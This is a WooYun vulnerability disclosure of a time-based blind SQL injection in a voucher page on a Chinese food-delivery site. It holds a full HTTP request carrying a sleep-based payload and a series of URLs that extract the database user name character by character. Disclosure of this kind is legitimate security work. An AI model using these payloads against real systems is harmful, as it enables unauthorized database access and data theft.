当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155790

漏洞标题:到家美食会某站SQL注入

相关厂商:daojia.com.cn

漏洞作者: 路人甲

提交时间:2015-11-25 14:33

修复时间:2015-11-30 14:34

公开时间:2015-11-30 14:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-25: 细节已通知厂商并且等待厂商处理中
2015-11-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

POST /voucher_code.php?AC_area=if(now()=sysdate(),sleep(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0 HTTP/1.1
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://suzhou.daojia.com.cn:80/
Cookie: PHPSESSID=eb1493038249ba3636463480acfca0ae; currentCity=4; SERVERID=2; daojia=[][][4][][/restaurant.php%3Fa%3D154%26r%3D495][/restaurant.php%3Fa%3D138%26r%3D297][][0]; DaojiaDinnerBox=; CNZZDATA2288838=cnzz_eid%3D1383096924-1448295637-http%253A%252F%252Fwww.acunetix-referrer.com%252F%26ntime%3D1448295637; Hm_lvt_94cfa510944eefd27564a777cd1d4ec5=1448313273,1448313387,1448313474,1448313552; Hm_lpvt_94cfa510944eefd27564a777cd1d4ec5=1448313552; HMACCOUNT=B0CF0EBEA2DCAFB6
Host: suzhou.daojia.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
action=1879048197&code=94102&passwd=g00dPa%24%24w0rD&user=wqiybtln


延迟9秒


1.jpg


为真时,延迟9秒

2.jpg


为假时,无延迟


3.jpg


user:daojia@10.0.0.1


http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),1,1))=100,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第1位:d
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),2,1))=97,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第2位:a
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),3,1))=111,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第3位:o
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),4,1))=106,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第4位:j
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),5,1))=105,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第5位:i
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),6,1))=97,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第6位:a
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),7,1))=64,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第7位:@
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),8,1))=49,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第8位:1
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),9,1))=48,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第9位:0
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),10,1))=46,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第10位:.
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),11,1))=48,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第11位:0
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),12,1))=46,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第12位:.
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),13,1))=48,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第13位:0
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),14,1))=46,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第14位:.
http://suzhou.daojia.com.cn:80/voucher_code.php?AC_area=if(now()=sysdate() and ascii(mid(lower(user()),15,1))=49,SLEEP(3),0)&name=%E8%AF%B7%E8%BE%93%E5%85%A5%E9%A4%90%E5%8E%85%E5%90%8D%E7%A7%B0
第15位:1


4.jpg


漏洞证明:

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-30 14:34

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无